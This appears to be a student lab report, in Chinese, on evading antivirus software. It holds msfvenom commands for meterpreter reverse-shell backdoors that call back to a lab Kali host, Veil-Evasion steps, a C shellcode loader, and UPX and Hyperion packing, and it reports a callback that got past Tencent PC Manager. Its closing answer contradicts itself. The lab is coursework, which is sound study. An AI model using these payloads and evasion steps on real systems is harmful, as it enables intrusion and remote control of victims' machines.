Exp3 免杀原理与实践
实验内容
一、基础问题回答
1、杀软是如何检测出恶意代码的?
-
基于特征码的检测:通过与自己软件中病毒的特征库比对来检测的。
-
启发式的软件检测:就是根据些片面特征去推断。通常是因为缺乏精确判定依据。
-
基于行为的检测:一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描。基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
2、免杀是做什么?
- 通过改变形态,例如加壳,或者
shellcode+编码器
,或者用其他语言重新编译(veil-evasion),以达到使恶意软件无法被杀毒软件查杀的目的。
3、免杀的基本方法有哪些?
-
一些基本的方法见上题。
-
改变特征码
-
如果你手里只有EXE
- 加壳:压缩壳 加密壳
-
有shellcode(像Meterpreter)
-
用encode进行编码
-
基于payload重新编译生成可执行文件
-
-
有源代码
- 用其他语言进行重写再编译(veil-evasion)
-
-
改变行为
-
通讯方式
-
尽量使用反弹式连接
-
使用隧道技术
-
加密通讯数据
-
-
操作模式
-
基于内存操作
-
减少对系统的修改
-
加入混淆作用的正常功能代码
-
-
二、实验步骤
实验点一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程
此次实验win7和kali虚拟机都是用网络桥接模式
win7的IP:10.1.1.159
kali的IP:10.1.1.177
1、正确使用msf编码器
- 通过
msfvenom
,可以得知常用的命令
- 编码一次命令如下(用-e参数编码):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘x00’ LHOST=10.1.1.177 LPORT=5233 -f exe > 5233encoded.exe
- 使用virscan网站进行扫描,结果如下:
- 编码十次命令如下(用-i参数指定编码次数):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=10.1.1.177 LPORT=5233 -f exe > 5233encoded10.exe
- 使用virscan网站进行扫描,结果如下:
- 通过对比,发现多次编译似乎没什么太大作用...
2、msfvenom生成如jar之类的其他文件
- 用命令
msfvenom -p java/meterpreter/reverse_tcp LHOST=10.1.1.177 LPORT=5233 x> 20165233_backdoor_java.jar
生成.jar文件:
- 用命令
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.1.1.177 LPORT=5233 x> 20165233_backdoor.php
生成php文件(可用于网页挂马):
3、veil-evasion
-
用
sudo apt-get install veil
命令安装Veil,若遇到问题则用sudo apt-get update
和sudo apt-get
upgrade这两个命令更新一下软件包即可。 -
之后用
veil
命令打开Veil,输入y
继续安装直至完成,这个过程中真的出现了好多error...两天都在安装这个庞然大物...
- 最后终于成功了!
- 用
use evasion
命令(或者use 1
)进入Evil-Evasion:
- 输入命令
use c/meterpreter/rev_tcp.py
进入配置界面(如果想利用其他语言进行编译,可以通过命令list payloads
进行查看),先设置输出.exe文件名:
- 用
set LHOST ip
命令设置ip(注意此处使用的是Kali的IP),用set LPORT PORT
命令设置端口号:
- 再用
generate
命令生成.exe文件:
- 使用virscan网站进行扫描,结果如下:
- 结果还是不尽如人意。
4、使用shellcode编程
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.1.1.177 LPORT=5233 -f c
用c语言生成一段shellcode:
- 创建一个文件
5233shellcode.c
,然后将unsigned char buf[]
赋值到其中,代码如下:
unsigned char buf[] =
/*如上图*/
int main()
{
int (*func)() = (int(*)())buf;
func();
}
- 使用命令
i686-w64-mingw32-g++ 5233shellcode.c -o 5233shellcode.exe
编译这个.c文件为可执行文件:
- 使用virscan网站进行扫描,结果如下:
- 在kali上打开
msfconsole
,并使用ncat
将5233shellcode.exe
传入win7中,运行时,被360杀毒软件发现。
5、加壳工具
(1)压缩壳UPX
- Kali下输入命令
upx 5233shellcode.exe -o 5233shellcode.upxed.exe
:
- 使用virscan网站进行扫描,结果如下:
(2)加密壳Hyperion
-
将
5233shellcode.upxed.exe
复制到/root
下; -
进入目录
/usr/share/windows-binaries/hyperion/
中; -
输入命令
wine hyperion.exe -v 5233shellcode.upxed.exe 5233shellcode.upxed.Hyperion.exe
进行加壳:
- 使用virscan网站进行扫描,结果如下:
- 比起压缩壳,这个加密壳性能更差...还不如不加...
实验点二:通过组合应用各种技术实现恶意代码免杀
- 通过半手工shellcode + 压缩壳实现了在电脑管家下的恶意代码免杀。任务成功截图如下:
- 杀软与恶意代码的可执行文件共生:
实验点三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
-
恶意代码的可执行文件仍旧使用上一实验点中的
-
电脑的杀软名称与版本:腾讯电脑管家 13.0.19837.233
-
任务成功截图:
- 回连成功
三、开启杀软能绝对防止电脑中恶意代码吗?
答:不能。由于杀软的病毒特征库更新不及时、不完全之类的问题,所以有些使用自己私人的,未公开的加密shellcode,很难被杀软捕捉到。所以开启杀软能绝对防止电脑中恶意代码。
实验中遇到的问题
在win7虚拟机上,可以成功接收到kali传过来的恶意代码可执行文件,但是双击运行后,就会出现程序停止运行的情况。
- 现在仍然不知道是什么问题。猜测是因为后门的这个恶意代码太垃圾,被电脑管家直接杀掉了。
实践总结与体会
通过本次实验,明白电脑为什么即使有杀软也很容易中病毒的原因了。以前在网页浏览器上下载各种应用软件并不会考虑那么多,觉得自己有防火墙和杀软就“百毒不侵”了,实际上漏洞到处都是,电脑时刻都处在危险之中。包括很多应用程序不在官方商城更新,而是在自己内部更新的情况,都是会让电脑中病毒的方式,所以现在上网点击啥东西之前都会先想想,没那么草率地就关闭网页上的阻止拦截窗口。也发现其实一个后门的成本比较低廉,所以时刻防范。